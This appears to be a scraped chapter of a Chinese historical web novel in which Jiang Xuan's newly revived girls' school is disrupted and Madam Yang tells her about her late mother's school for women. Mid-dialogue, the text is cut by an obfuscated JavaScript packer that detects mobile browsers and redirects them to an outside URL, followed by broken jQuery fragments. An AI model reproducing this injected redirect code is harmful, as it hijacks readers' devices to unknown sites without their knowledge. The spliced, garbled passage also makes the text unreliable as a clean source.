默认冷灰
24号文字
方正启体

210. 第 210 章

作者:绿蚁新酒本书字数:K更新时间:
    提到这个熟悉的名字,江萱愣了愣神,赶忙把江蘅与江十七娘分开,却见江蘅一个闪身朝王协跑去。


    “表哥,你来得正好!”江蘅见着王协,仿佛看见救星一般,忙拽着王协的衣袖,撒娇道,“你要是再迟一点,萱姐姐就要被她们欺负死了!”


    王协长得清俊,又是世家弟子,族中不少女儿家对他芳心暗许,只是碍于江太夫人的面子不敢明说罢了,江十七娘就在其列。


    她甫见王协进门,原先的那些尖酸讽刺悉数没了踪影,匆忙间整理鬓发仪容,眉目含羞带怯地看向王协,乍闻江蘅的告状脸色忽变。


    “江蘅,你瞎说什么呢?”


    话一说出口,江十七娘惊觉王协在场,忙摆出副楚楚可怜的模样望向王协,可已来不及。


    王协方才过来,学堂中声响听得一清二楚,又见堂内桌椅翻飞书册凌乱,一众学子们纷纷无进学神态,心下愈发了然。


    他转眸又看向势单力薄的江萱,心中怜惜之意更甚,想为她讨个公道。


    王协深吸一口气,上前半步,朝江十七娘追问道:“十七娘方才说要去刘知县家做客,我恰与刘郎君见过几面,不妨与你说道说道?”


    王协面上带笑语气温和,看着像是寻常兄长与小妹说话,话语中却带着几丝不容拒绝的意思。


    江十七娘脸色一白,忙要开口解释,又被王协不轻不重地打断:“刘郎君性格温良,酷爱史学。敢问十七娘,可读过春秋三传?”


    王协直直地看向江十七娘,眸中逼问意思甚明。江十七娘年岁不大,哪里经得住这样逼视的眼神,脸色愈加苍白。


    “我……我……”


    “从善如登,从恶如崩。十七娘可知道是出自哪本书吗?”王协并不打算就此放过江十七娘,他嘴角越发上扬,轻视之色渐起。


    从善如登,从恶如崩,意为修德如登山般艰难,从恶如山崩般迅速,江萱在旁听着都觉得王协此话太过诛心。


    她微微偏头,只见江十七娘脸上具是迷茫与紧张之色,心里微微松了口气,好在江十七娘不知道此话的意思,倘若让她知晓此句之意,怕是碰头的念头都要升起了。


    江萱无意再让此事发酵,何况小儿方才口无遮拦,她早就不放在心上,旋即上前想要替江十七娘说和几句,不料王协步步紧逼,丝毫没有要放过江十七娘的意思。


    “那今朝史书,十七娘可通啊?”


    江十七娘早被他迫人气势吓得不敢动一下,嘴唇翕动却说不出半句话来。


    王协眼中轻视之色更浓,淡然道:“女子无才便是德,十七娘才学不通,万望修德才是。”


    “表哥!”


    江萱一声喝到,止住了王协接下来的话口。


    时下女子德行亦得世人重视,王协这样轻飘飘的一句却直名江十七娘无德,若此话传扬出去,江十七娘的名声就毁了。


    王协这话,实在是太过了!


    江萱蹙眉,不再看王协一眼,转身朝堂中学子道:“年近春节,族中各家事都忙,诸位今日早些下学吧,等过了元宵再来也不迟。”


    众学子被这突如其来的消息砸蒙了头,面面相觑后朝江萱道了句“是”,便赶忙收拾自己的东西纷纷离开屋内。


    倒是江十七娘还有点茫然,孤零零地杵在那,还是平常与她交好的几个小娘子拽了拽她才回过神来,逃也似地飞速离开学堂。


    “萱姐姐……”


    江蘅站在江萱与王协之间,正疑惑江萱为何不借势惩处江十七娘反而轻轻放过,又听到江萱吩咐道:“阿蘅,你也先回去。”


    江蘅看着江萱脸上一闪而过的疲惫,顺从低头离开,未几堂中便剩下江萱几人。


    “表妹……”见惯了江萱客气有礼的模样,难得见她面若冰霜,王协无所适从地上前问候,说得却是一些显而易见的话,“事情不是很顺利吗?”


    江萱看着满室狼藉,眉头紧锁,更无心在乎王协的话。


    “万事开头难,我能做好,就不劳王郎君费心了。”江萱客客气气地回道,心思早就飘到这学堂日后的章程上来。


    江太夫人虽能维护她一事,却维护不了她一世,族中对她重办女学一事本就颇有微词,今日过后怕是责难更多,便是从前碍着江太夫人面子送女儿上学的人家对她都要颇有微词。


    一想到这人,江萱便觉得一个头两个大,也不知道阿娘从前是怎么做的,才能让族中大半家庭心甘情愿地送自己孩子上学。


    她微微叹了口气,正愁眉不展之际忽闻身后一声浅笑:“季和,看样子你认识的这位三娘子遇到的事情可不比你少哦!”


    “先生!”


    江萱闻言回身,却见门后走出两人,其中一人鹤衣美髯手持一把折扇,大有风流洒脱之态;另一素衣低髻女子与他并行,听得他这样不着调的话,狠狠地朝他翻了个白眼。


    江萱见有客,趋步上前行礼道:“您两位是?”


    “这是白鹿洞书院杨山长与杨夫人。”王协在旁,忙不迭地引荐道。


    白鹿洞书院的山长从前是江老太爷的学生,在仕林之间亦颇具盛名。只是不知为何,杨山长无心仕途,身上亦无一官半职,反倒是跑到庐州当起了白鹿洞书院的山长。


    至于杨山长身边的这位夫人,江萱倒不曾听闻她在一众女眷中有什么贤名恶名,如今这还是第一次见。


    江萱默默收回探究的眼神,上前福身问好:“江萱见过杨山长,杨夫人。今日闹剧让山长与夫人见笑了。”


    “哪里哪里,这和白鹿洞书院里比不过是小巫见大巫。你问季和就知道了,他们几个郎君吵起来,有时候还要动手呢!”


    杨山长说话很是诙谐,对于这样的事更是见怪不怪了,挥弄手中折扇,话题一转又落到王协身上。


    王协被当众戳中了糗事,神色渐也不自然,偏说出此事的人正是他的恩师,遂扭捏地向杨山长使眼色道:“先生……”


    杨山长像是看热闹不嫌事大,忍不住开怀大笑,又见江萱在旁似是看呆了的模样,更觉得有趣,张口就要说出更多事来。


    与他并肩而立的杨夫人似是看不过去他这副不着调的模样,一把夺过他手中折扇,道:“你可闭嘴吧,在孩子面前瞎说什么呢!收一收你那破折扇,大冬天的挥着把扇子也不觉着冷。”


    “是是是,夫人说得都对。”见自家夫人一脸严肃的表情,杨山长也不敢造次,忙拱手认罪。


    杨夫人懒得理他,上前握住江萱的手,慈爱道:“你是润娘的孩子吧?一眨眼就长这么大了。”


    “您认识我娘?”见杨夫人提起江润,江萱神情却有些迷惑。


    杨夫人似是看出江萱的犹疑,想起从前种种,眉眼间染上几丝怅然:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530486|203676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不光认识,你小时候我还抱过你呢!”


    学堂屋阔,而今堂中学子悉数归家,几人站在那难免觉得疲乏含量,便由江家下仆引着到一处暖和的地方落脚。


    且男女大防,总不能叫杨山长和王协两个外男与江萱处在一屋,便分了两间屋子供江萱王协与杨山长夫妇歇脚。


    偏房里插着梅花,由炭火这样一烘更是满屋梅香。杨夫人呷了一口茶,叹出一团薄雾,淡然道:“从前我与你娘一道结过诗社办过女学,如今一看竟是女承母业了。”


    江萱陪坐在旁,端着茶垂眉但笑不语。


    阿娘总是有几个她不认识的朋友。


    这样,真好。


    今日的茶水似是格外的烫手,连带着她胸口都是暖洋洋的。


    “你舅舅这个老学究竟然放你一个人孤零零在庐州,也不怕你被那些如狼似虎的宗亲们吞了去。”


    杨夫人在旁瞧着她贞静面容,恍若故人神姿,却也知道故人已逝,再像也不是一个人。


    “有祖母她护着我呢。”江萱捧着琉璃茶盏,朝杨夫人浅浅一笑。


    何况她还有被赞誉的纯孝,只要她无错,江氏族人就算要做也不敢在明面上给她什么难堪。


    “你倒是很看得开。”


    杨夫人不知道该说她天真好,还是说她心思透彻好,看她的眼神不由带着几分恨铁不成钢意味。


    “你可知你娘创办女学的初衷是什么?”


    江萱偏了偏头,思忖后答:“教书育人,开智明辨?”


    “不止如此。”杨夫人嘴角弯出个近乎扭曲的弧度,她把手中琉璃茶盏重重搁在几案上,半是讥讽半是惋惜地说道,“你娘总说‘凭什么世间权势要掌握在男人手里,我们女儿家执掌中馈操持家务,难道就比男人差不成?只不过是差了个机会罢了。’”


    偏偏这个机会掌握在男人手里。


    杨夫人偏头,撞上一双如小鹿一般灵动温润的双眸。


    “从前你娘还在的时候,他们从不敢明着使绊子,可等她一走,便很快人走茶凉,再不复从前的光景了。”


    男人总是这样,防着女子恨着女子,也正因他们知道女子不逊色于他们,所以心生嫉妒,生怕这些女子能出头夺了他们现有的一切。


    “可是这庐州上下不少人家的亲眷都出自你娘创办的学堂,都念着你娘的恩呢。”


    昔年江润意气风发,最后却落得个红颜枯骨的下场,其中未必没有这些江氏族人在背后煽风点火。


    杨夫人看着江萱与江润有三分相似的容貌,却也知道她不是江润,江润在她这个年纪远没有她这般庄静。


    “今日我只教你二字,借势。可别坠了你娘的志气!”杨夫人看向江萱如河水般平静的双眸,如是道。


    杨夫人的年岁应当与江润差不多大,可气质上却像是比江润老了几岁。


    江萱默默放下茶盏,眼神落在杨夫人眼角的皱纹,终于说出了心中酝酿许久的话:“杨夫人,您为何要帮我?”


    “就当我不忘提携故旧之子吧。”杨夫人淡淡笑了笑,眼角皱纹愈深,她像是全然不在乎,任由那些纹路荡漾开。


    江萱沉默地看着杨夫人,她无意探究她的过去,只是抬首让一盏温热茶汤入肚。


    这是江萱所预料到的那样,果不其然,当夜族中耆老便派人来传江萱至祠堂叙话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)